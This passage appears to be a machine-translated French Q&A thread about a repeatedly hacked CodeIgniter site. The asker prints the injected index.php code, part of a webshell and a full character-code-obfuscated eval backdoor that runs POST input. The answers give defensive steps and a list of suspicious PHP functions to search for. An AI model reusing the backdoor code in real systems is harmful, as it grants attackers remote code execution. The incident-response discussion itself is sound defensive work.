Codeigniter application de piratage, code injecté dans index.php

J'ai un codeigniter 2.0.2 projet qui ne cesse de se piraté. Il y a deux questions principales:

  • Code malveillant est ajouté au début de la index.php fichier
  • Voyous fichiers sont ajoutés au serveur

Selon l'hôte, il n'y a pas de FTP journaux pour indiquer ces fichiers ont été téléchargés.

  1. Comme il n'y a pas de téléchargement FTP journaux liées aux fichiers voyous - est-ce à dire qu'il doit être un exploit via le site lui-même, par exemple, un contact ou un formulaire d'upload?
  2. Le site est sur un hébergement mutualisé - code-il un site sur le même serveur est également piraté et c'est la cause du problème?
  3. Serait-il aider si je change le nom de fichier de index.php pour quelque chose d'autre?
  4. Comme le index.php est arriver modifié dois-je la commande CHMOD pour 644?
  5. J'ai été la recherche de ce que les autorisations proposées sont pour codeigniter projets, mais ne proviennent pas tout encore. Je pensais 644 sur le site en dehors de l'upload/répertoire des logs (777) - est-ce son accord?

Code injecté vers le haut de la index.php fichier:

<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-

qui est ensuite suivie par une longue preg_replace déclaration avec une longue chaîne codée. Elle est suivie par une deuxième déclaration:

if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}

Il y a un formulaire de contact et un formulaire où l'utilisateur peut télécharger des éléments à l'aide de CKFinder 2.0.1. Va mettre à jour et voir si cela résout.

quelle version de php utilisez-vous sur le serveur? est-il sensible à l' "?-s" hack"? il est posible que l'attaquant peut uploader un script php par le biais d'un formulaire de téléchargement de quelque part sur le site ou il utilise le "?-s" explot à auto_prepend à distance un fichier php avec une charge utile de
Comment fonctionne le code ajouté index.php ressembler?
si vous êtes sur un hébergement mutualisé, il est également possible que vos "voisins" peut-être en cause
Si vous affichez le code qui pourrait être utile.
eh bien, tout le code serait utile...mais index.php et les fichiers de processus le code de votre contact et de télécharger des formulaires serait un bon endroit pour commencer.

OriginalL'auteur xylar | 2012-09-04

  1. 11

    Il ya un couple de choses que vous pouvez faire:

    • Vérifier vos fichiers de log de requêtes POST fichiers avec bizarre ou non noms, par exemple .cache_123.php - tels que backdoor scripts, en particulier les noms de fichiers commençant par un point, donc en cachette de l' (régulière) du système de fichiers.
    • Télécharger la version complète du site en direct et faire un site de recherche à l'échelle pour des choses telles que base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, FilesMan
    • Avoir l'ensemble de vos (téléchargé en direct) du site de vérifier par l'exécutant à travers le logiciel anti-virus (AVG, Avast, ...)
    • Chmod télécharger des répertoires 775 au lieu de 777 si possible
    J'ajouterais "eval" à la liste des fonctions que vous voulez vérifier.
    yup, ont ajouté qu'un.
    Merci, tout simplement en passant par ces contrôles. Il y avait une requête post pour le nom d'une inconnue et est associée à l'admin formulaire d'upload - supposons que pourrait être le point de les exploiter? Le code ajouté à index.php avait une eval qui a maintenant été supprimée et il n'y a pas de plus. AVG dit que les fichiers sont ok.
    Ouvrez ce fichier avec l'inconnu nom, voyez-vous des suspects, éventuellement, d'obfuscation de code? J'ai eu à traiter avec quelque chose de similaire récemment, et AVG ne l'avais pas trouvé quoi que ce soit. En fait il y a un obscur fichier de profondeur dans le système de fichiers qui est utilisé preg_replacepour générer une porte dérobée.
    Bien sûr, le code "ajouté" à index.php avait un eval, mais qui soulève toujours la question de savoir comment le code malveillant est arrivé là en premier lieu. Une fois de plus, en affichant le code serait le plus utile à faire 🙂

    OriginalL'auteur Mudshark

  2. 2

    Je sais que c'est un vieux thread, mais je voudrais ajouter une option permettant de comprendre en quoi et où le problème est survenu.

    Créer un crochet qui permet de charger à chaque fois (à n'importe quelle étape) et le vidage de l' $this->input->post() et ->get() dans un fichier journal avec celui de la classe et le nom de la méthode.

    De cette façon, vous verrez assez vite, où le problème a commencé.

    OriginalL'auteur renevdkooi

  3. 0

    Je pense est beaucoup plus facile à pirater à travers un PHP app plutôt qu'un serveur FTP. Avez-vous télécharger des formulaires ? Si vous ne pouvez pas aller avec un VPS, essayez de demander à votre hôte pour le déplacer vers un autre serveur partagé.

    OriginalL'auteur Antonio Madonna

  4. 0

    Je pense que vous avez vraiment besoin pour effectuer un audit de code pour trouver l'emplacement de la base de la vulnérabilité des mensonges. Sauf si vous exécutez une sorte de contrôles d'intégrité, vous ne pouvez pas être sûr si le pirate a mis backdoor dans d'autres fichiers.

    Comme une solution rapide, je vous suggère d'installer ModSecurity module Apache, si possible. Ensuite, regardez pour les endroits dans le code où fichier injection peut se produire (généralement de téléchargement de fichiers fonctions).

    OriginalL'auteur gauravphoenix